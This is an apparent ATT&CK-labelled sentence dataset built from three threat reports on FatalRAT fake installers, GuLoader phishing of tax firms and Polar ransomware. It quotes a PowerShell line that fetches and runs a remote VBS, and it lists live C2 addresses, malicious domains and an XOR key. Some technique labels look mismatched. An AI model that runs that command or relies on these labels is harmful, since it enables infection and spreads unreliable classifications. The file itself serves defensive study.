{"sentence": "BRLoader DLL.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Network IPProviderFirst seenDetails 107.148.35[.]6PEG TECH INC2022-10-15Server hosting malicious websites.firefoxs[.]org googlechromes[.]com youedao[.]com telegramxe[.]com telegramxe[.]net telegramsz[.]net whatcpp[.]com whatcpp[.]net whatsappt[.]org telegraem[.]org telegraxm[.]net skype-cn[.]org electrumx[.]org line-cn[.]net whateapp[.]net whatcapp[.]org 107.148.45[.]20PEG TECH INC2022-12-1912-03.telegramxe[.]com; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "107.148.45[.]32PEG TECH INC2023-01-0412-25.telegraem[.]org; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "107.148.45[.]34PEG TECH INC2023-01-0612-25.telegraxm[.]org; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "107.148.45[.]37PEG TECH INC2022-12-1012-08.telegraem[.]org; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "107.148.45[.]48PEG TECH INC2022-12-2212-16.pinyin-sougou[.]com; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "193.203.214[.]75Yuhonet", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "International Limited2022-06-16ghg.telegream[.]online; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Certificates Serial number26483C52A9B6A99A4FB18F69F8E575CE Thumbprint505CF4147DD08CA6A7BF3DFAE9590AC62B039F6E Subject CNTeCert Subject ON/A Subject LN/A Subject SN/A Subject CN/A Valid from2022-12-16 11:46:19 Valid to2023-12-16 12:06:19 Serial number317984D3F2ACDAB84095C93874BD10A9 Thumbprint457FC3F0CEC55DAAE551014CF87D2294C3EADDB1 Subject CNTelegram_Inc Subject ON/A Subject LN/A Subject SN/A Subject CN/A Valid from2022-06-02 11:10:49 Valid to2023-06-02 11:30:49 MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "TacticIDNameDescription Resource DevelopmentT1583.001Acquire Infrastructure:", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "DomainsThe attackers acquired domain names for their malicious websites and C&C servers.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1583.003Acquire Infrastructure : Virtual Private ServerThe attackers acquired VPS servers to store their malicious websites.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1585.003Establish Accounts: Cloud AccountsThe attackers acquired accounts in Alibaba Cloud Object Storage Service to host their malicious MSI installers.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1608.001Stage Capabilities: Upload MalwareThe attackers uploaded their malicious MSI files to Alibaba Cloud Object Storage Service.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1587.002Develop Capabilities: Code Signing CertificatesThe attackers used self-signed certificates to sign their malicious MSI Installers.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Initial AccessT1189Drive-by CompromiseThe attackers used Google Ads to direct their victims to their malicious websites.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "ExecutionT1204.002User", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Execution: Malicious FileThe attackers have relied on their victims to execute the malicious MSI installers.", "labels": ["T1204.002"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Windows Command ShellThe malware updater uses cmd.exe to download files from Alibaba Cloud Object Storage Service.", "labels": ["T1059.003"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "APIThe loaders use API calls such as VirtualAlloc to load and execute malicious components into memory.", "labels": ["T1106"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "PersistenceT1053.005Scheduled Task/Job: Scheduled TaskThe MSI installers create scheduled tasks to achieve persistence.", "labels": ["T1053.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderFatalRAT creates a registry Run key to achieve persistence.", "labels": ["T1547.001"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Defense EvasionT1140Deobfuscate/Decode Files or InformationThe loaders and FatalRAT component use various encryption algorithms to hide payloads and strings.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1027.007Obfuscated Files or Information:", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Dynamic API ResolutionThe loaders use dynamic API resolution to avoid detection.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1574.002Hijack Execution Flow: DLL Side-LoadingThe attackers have used DLL side-loading to execute their malicious payloads.", "labels": ["T1574.002"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1497.001Virtualization/Sandbox Evasion: System ChecksFatalRAT performs various checks to detect whether it’s running on a virtual machine.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1027.009Obfuscated Files or Information:", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Embedded PayloadsThe Micr.jpg file contains shellcode and an embedded DLL file that loads FatalRAT.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1553.002Subvert Trust Controls: Code SigningThe attackers have used self-signed certificates to sign their malicious MSI files.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "CollectionT1056.001Input Capture: KeyloggingFatalRAT has keylogger functionalities.", "labels": ["T1056.001"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1119Automated CollectionFatalRAT automatically collects information from a compromised machine and sends it to the C&C server. Command and ControlT1573.001Encrypted Channel:", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Symmetric CryptographyFatalRAT encrypts data with a custom encryption algorithm before it is sent to the C&C server.", "labels": ["T1573.001"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1095Non-Application Layer ProtocolFatalRAT uses TCP for C&C communications.", "labels": ["T1095"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "ExfiltrationT1020Automated ExfiltrationFatalRAT automatically sends information from a compromised machine to its C&C. T1041Exfiltration Over C2 ChannelFatalRAT exfiltrates data over the same channel used for C&C. 16 Feb 2023 - 11:30AM", "labels": ["T1041"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Financial accountant firms and CPAs are in the crosshairs this tax season, as a threat actor is targeting that industry with an attack that combines social engineering with a novel exploit against Windows computers to deliver malware called GuLoader.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "At least two organizations in that industry, both Sophos customers, reported the unusual attack to us in late February and early March, as tax preparers are entering the busiest part of the season in the United States.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "(The tax filing deadline this year is April 17, 2023.)", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The attack begins with an email that purports to solicit business from the tax preparation firm.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The initial message to the target is benign, with a subject line of Prospective Client Enquiries containing nothing more than an introduction and a request for information about “onboarding new clients.”", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The email sender goes on to claim that “The CPA I used last year is retired, so here I am on the lookout for a new firm to work with.”", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Responding to the hook with a bigger hook If the target responds to this initial solicitation, the sender then sends a follow-up email with a link to a password-protected Zip file hosted on a cloud storage service.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The Zip archive has a filename that includes the last name of the fictitious person whose purportedly sent the initial email message.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "In each of the messages we saw targeting different accounting firms, the attacker used different names, such as Rodney Williamson or Sarah Knapp.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The fake sender used the same password of Fresh@123 for the Zip archive in the samples we obtained.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Because the attacker only sends the link to a CPA who responds to the initial email message, very few of them were caught in spam traps.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The samples we obtained had been submitted to us only after the targets realized they were being attacked.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The sender was very conversational and personable in the messages, helpfully offering that the Zip archive contains “in addition to my tax transcripts for the past two years…a copy of my driver’s license.”", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The attacker also asks the target “Would you be available for a quick telephone call on Friday?”", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Whoever crafted the messages has a good grasp of English-language euphemisms and tax-filing vernacular.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "These messages, with a few very minor spelling or grammar errors, were very hard to discern from ones that might be sent by a legitimate, prospective client of a tax firm.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Infection process based on deception", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "If the first stage of the process involves convincing the accounting professional to download and open the linked Zip archive, the next phase is completely out of the tax preparer’s control.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The Zip archive contains two files: A Windows Shortcut (a .LNK file), and a benign decoy attachment.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "In the examples we received, one Zip contained a benign file named screenshot1242.jpeg and another contained a file named privatecopy.pdf.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Both of these files were the same three minute long MP3 audio recording – a file that sounds like someone playing an Oud, the stringed instrument similar to a lute used widely in the middle east.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "When someone tries to double-click these decoy files, Windows (or the application mapped to the relevant filetype) throws an error because the file isn’t the type of file it appears to be.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Adobe Reader or a photo viewing program can’t open the file.", "labels": ["T1204.002"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The target would then, naturally, double click the other file in the Zip archive — a Windows Shortcut (.LNK file) labeled with a PDF file suffix and with an icon that makes it appear to be a PDF document.", "labels": ["T1204.002"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Unusually, the Windows shortcut has been manipulated in such a way that Windows seems to think that it is a VBScript Script File in the shortcut’s properties sheet.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The action taken by the shortcut is rendered not visible in the Properties sheet, either, in what appears to be a novel, malicious use of an exploit first publicly disclosed a year ago in a blog post by researcher @x86matthew, who works for the UK-based offensive security research company MDSec.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The attackers have crafted the shortcut, by prepending a large number of space characters to the Target field in the properties, so that the Target field appears blank.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "However, when viewed using a hex editor, the text content of the shortcut is rendered visible.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "It contains a PowerShell command that looks like the following: Invoke-WebRequest http://0x[two hex bytes].[eight digits]/fresh/fordl.vbs -OutFile", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "C:\\Windows\\Tasks\\[eight letters].vbs The shortcut command pulls down a Visual Basic script, drops it into the C:\\Windows\\Tasks folder, and executes it.", "labels": ["T1105"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "A second command appended to the first drops an actual PDF document (of someone’s IRS form W-2, 1099, or 1040) into the same location and opens it as well, as a decoy.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The crafting of the URL was somewhat unique.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The attacker seems to have made a mashup of two different formats of so-called “dotless” IP address (an unusual combo of the hex and “dword” types of dotless IPs) into a combination that isn’t human-readable, but that networked applications like PowerShell can understand and interpret as valid IPv4 addresses.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The script shown above uses the address 0xC2.11808979 in the URL, which translates to the IPv4 address 194.180.48.211.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "We also discovered scripts that pointed to malicious files hosted on the addresses 0x6D.13561923 (109.206.240.67) and 0x05.526436 (5.8.8.100).", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "All of the servers hosting the malware hosted them inside of open directories.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "We found 29 different varieties of the VBS and 90 other encrypted and unencrypted payloads hosted in these locations.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "There may be others.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "A heavily obfuscated VBS", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The initial infector is a Visual Basic script, heavily obfuscated, and very large at more than 200KB in size.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "A block of base64-encoded, encrypted data comprises almost 150KB of that script, along with code that decodes and decrypts the block of base64.", "labels": ["T1027", "T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The VBS contains two large variables.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "In the script we analyzed, these were named Ir8 and O7, respectively, but although the variable names were slightly modified in each variant of the script we examined, the overall flow was the same.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "These work in tandem to insert data into the Windows Registry and execute PowerShell commands.", "labels": ["T1112", "T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "When decoded, the content of the Ir8 variable (a segment of which is shown below) turns out to be just another encoded PowerShell script, which the VBS decodes and then executes.", "labels": ["T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The PowerShell script decoded from the Ir8 variable uses Reflection.", "labels": ["T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Assembly to load the final payload into memory from a Registry value without writing it to disk.", "labels": ["T1112", "T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The script (shown in part, below) converts several small strings to bytes, concatenates the output, performs a BXOR to decode the bytes, and then converts those bytes to ASCII text, before executing them.", "labels": ["T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "And the content loaded out of the Registry?", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "That’s what comes from the O7 variable (shown in part, below, because it is too large to fit on one screenshot).", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The concatenated segments of base64 data from O7 get inserted into the Registry, for the Ir8 script to decode.", "labels": ["T1027", "T1112", "T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Post-infection, the machine will have an instance of an otherwise benign Windows binary running.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "On one machine, we found that the malware injected itself, using process hollowing, into ielowutil.exe, used by the now defunct Internet Explorer browser for tuning the microphone settings in the browser.", "labels": ["T1055"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "But the malware doesn’t exclusively inject its code into this exe; Other now-defunct Internet Explorer components were also observed being abused by the malware, including ieinstal.exe (the tool that installs Add-Ons into Internet Explorer).", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The malware makes several other changes to Windows settings during the infection process.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "It creates a User-level Environment Variable (in our test case, this was called SaltoQ), which points at the full path to the PowerShell executable on the system.", "labels": ["T1547.001"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "It created a Run key in the Registry named Overproduce that invokes the SaltoQ variable to run a PowerShell command at every reboot.", "labels": ["T1547.001"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "And that Run key references a different Registry key, in HKEY_CURRENT_USER\\Cloglike that contains a portion of the same Visual Basic Script code that was in the original .vbs payload the malware downloads during the infection process.", "labels": ["T1547.001"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Once infected, the ielowutil.exe binary constantly attempts to contact its command–and-control server, on 64.44.101.171:9191.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "During our attempts to infect machines with the malware, that C2 server failed to respond.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "However, we did infect a test machine with other samples from this attack, and some of those were successful at connecting to C2 servers at 84.21.172.49:1040 (ironic port number!)", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "and 185.225.74.91:2080.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Both of those C2s were live as of publication of this blog.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "We also detected the infected computer repeatedly attempting to resolve the address of the domain newmansubzero.com, which is the 64.44.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "address above.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Guidance and detection Tax preparers and accountants are extremely busy at the best of times, but during US tax season, which culminates in mid-April, they are the busiest they will be all year.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Harried CPAs from firms of all sizes must be wary that they are targets for criminals who would love nothing more than the sensitive financial data they receive in abundance at this time of year.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The attack method in this case takes advantage of the frenetic pace of tax season and uses a social engineering tactic to smooth the way for the malware to be delivered via email.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "As such, it’s very prudent to be cautious when you’re approached by potential new clients.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Ask them if they will speak to you on the phone directly, who referred them to you, and if they’d be willing to come in for an in-person evaluation.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Most of all, be very wary of people who send you a Dropbox link to a password-protected Zip file at any time of year.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "When the Zip file is password protected, it can make the contents un-scannable by endpoint security tools.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "If they provide a password, unzip the file and then scan the contents with an endpoint security tool before opening them.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The PDF icon used for the Shortcut in the attack is also distinctive and unique.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The icon, which doesn’t resemble the icon used by any known PDF reader application, looks like an icon for a plain text document wrapped in a red bar with the white letters PDF inside.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "It’s also notable that the icon does have the little arrow in the bottom left corner that indicates it is a Shortcut, and not a document.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "It’s possible a busy accountant may not notice that detail.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "When in doubt, you can also right-click (not left-click) the icon, one click only, and choose Properties.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Even though the Properties sheet won’t display the Powershell command, if the file is a Shortcut it will have a Shortcut tab (normal document files won’t have those) and it accurately shows that the “Target type” is a Visual Basic Script (VBScript Script File).", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Hovering the mouse pointer over the Shortcut icon causes the malicious shortcut to display the information pushed into the Comment field, which makes it appear that the document is in fact a PDF when it is not.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "If you still suspect things are not as they should be, ask the potential customer to call you on the phone before you open the files.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The attackers, in this case, seemed to limit their communication to email.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Sophos products detect various aspects of the attack quite comprehensively: Endpoint will detect the shortcut file as Troj/LnkObf-T or Mal/DownLnk-D and the VBS payload of the shortcut as VBS/Inject-IPG.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Some payload samples may be detected as Behaviorally, it detects the injection techniques used by the attackers as Evade_34a or Evade_34b.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "GuLoader code in memory also will be detected as Mem/Guload-A. Our network security products will block communication to the IP addresses used to host the payloads and the C2 addresses.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Indicators of compromise relating to this attacker and their tooling are hosted on the Sophos X-Ops Github.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Acknowledgments Sophos X-Ops wishes to acknowledge the contributions of Colin Cowie and Benjamin Sollman of the MDR intelligence team, Sivagnanam Gn, Anand Ajjan, and Anisha Kumar of SophosLabs, and Sales Engineer Matthew Haltom to our understanding of this threat and its impacts.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "In late April 2020, a client invited the CSIRT incident response team at the Positive Technologies Expert Security Center (PT ESC) to investigate a network compromise that resulted in encryption of files on servers and employee workstations.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We initially assumed that this was yet another attack on corporate networks with a common variety of ransomware.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "However, what we found was different: this intrusion was the work of a well-known Asian APT group implicated in cyberespionage against government targets.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The initial successful compromise had taken place two years prior.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In this article, we will share the results of our investigation of this targeted attack, which started with the compromise of a foreign office.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Ultimately, we succeeded in bringing the infrastructure back to a secure condition and reversing the damage that had been done.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Sequence of events Mass encryption of files on the client's infrastructure and a ransom demand formed the starting point of the investigation.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "A large number of damaged files is itself a very visible attack indicator that enabled detecting the intrusion.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Retrospective analysis showed that the client's infrastructure had been compromised not three or four days before (or even a few hours before, as often happens in mass attacks), but in early 2018.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "What's more, the initial infection was of a foreign office of the client.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Then a subsequent breach of the head office back home.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We believe that the initial entry point to the foreign office's network was a vulnerable server on the network perimeter.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Exploitation in February 2018 enabled the attackers to gain initial access and then persistence, with the help of the ChinaChopper and TwoFace web shells.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The attackers used NBTScan for network reconnaissance and PsExec for lateral movement.", "labels": ["T1016", "T1569.002"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "They obtained credentials for pivoting with Mimikatz.", "labels": ["T1078"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In some cases, we were able to detect memory dumps of the lsass process that had been archived and uploaded.", "labels": ["T1003.001", "T1027", "T1041"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Because use of Mimikatz was likely blocked by endpoint security software, the attackers were forced to run bruteforcing offline.", "labels": ["T1110"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Another method was to scan hosts for so-called Eternal* SMB vulnerabilities with SMBTouch and then, where possible, run the EternalBlue exploit and infect the computer.", "labels": ["T1210"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "On the hosts of presumably greatest interest, the SysUpdate and HyperBro backdoors were installed for reliable persistence and access.", "labels": ["T1105"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "One unexpected result of the compromise was cryptocurrency mining at both the foreign office and headquarters.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Such activity remained unnoticed for one and a half years.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "During this time the attackers only maintained their access abilities by periodically obtaining new accounts or building tunnel chains.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Our belief is that by early 2020, the attackers had lost their access (for reasons unknown to us).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We can see use of web shells on the foreign office's servers on February 9, 2020.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Subsequent actions were very similar to what had happened two years earlier.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "By using the tools already described, the attackers obtained the credentials of a domain administration at headquarters.", "labels": ["T1078"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This time, they deleted OS logs and stopped Shadow Copy services, complicating subsequent incident analysis.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "For the finale, on April 29, 2020, the account of the compromised domain admin was used to push Polar ransomware to computers and run it, encrypting user files and demanding a ransom.", "labels": ["T1078", "T1105"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "While our specialists were assisting the client in May 2020, the attackers made yet another attempt to regain control of infrastructure with the help of web shells that were still in place on the network of the headquarters and office, but this time to no success.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Here we have provided a timeline to better show the sequence of events.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "CSIRT's objectives included recovering the client's data, which included key information belonging to different departments.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We performed analysis of the encryption malware and were able to recover the lost files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Polar ransomware", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The method used to run the ransomware is classic and, indeed, characteristic of certain Asian groups.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Three files are sent to the victim's computer:", "labels": ["T1105"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "GDFInstall.exe (MD5: 13435101240f78367123ef01a938c560) is a legitimate computer game component signed by Ubisoft.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "GameuxInstallHelper.dll (MD5: 1fd8402275d42e7389f0d28b9537db0f) is a .NET DLL library (compiled on April 29, 2020) imported when GDFInstall.exe is run.", "labels": ["T1036.005"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This component is not actually legitimate, however: attacker code is executed after the GameExplorerInstallW symbol is exported.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This frequently used technique of loading malicious code in the context of a legitimate application is known as DLL hijacking.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The file c:\\programdata\\Sysurl.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Hex is read (after being copied from c:\\windows\\system32\\Sysurl.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Hex, if absent) and then simple XOR decrypted with key ABCSCDFRWFFSDJJHGYUOIj.", "labels": ["T1140"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The result is decoded with Base64, yielding a PE file that is loaded and run in memory with .NET.", "labels": ["T1027", "T1140"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The payload and intermediate library are deleted before completion.", "labels": ["T1070.004"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
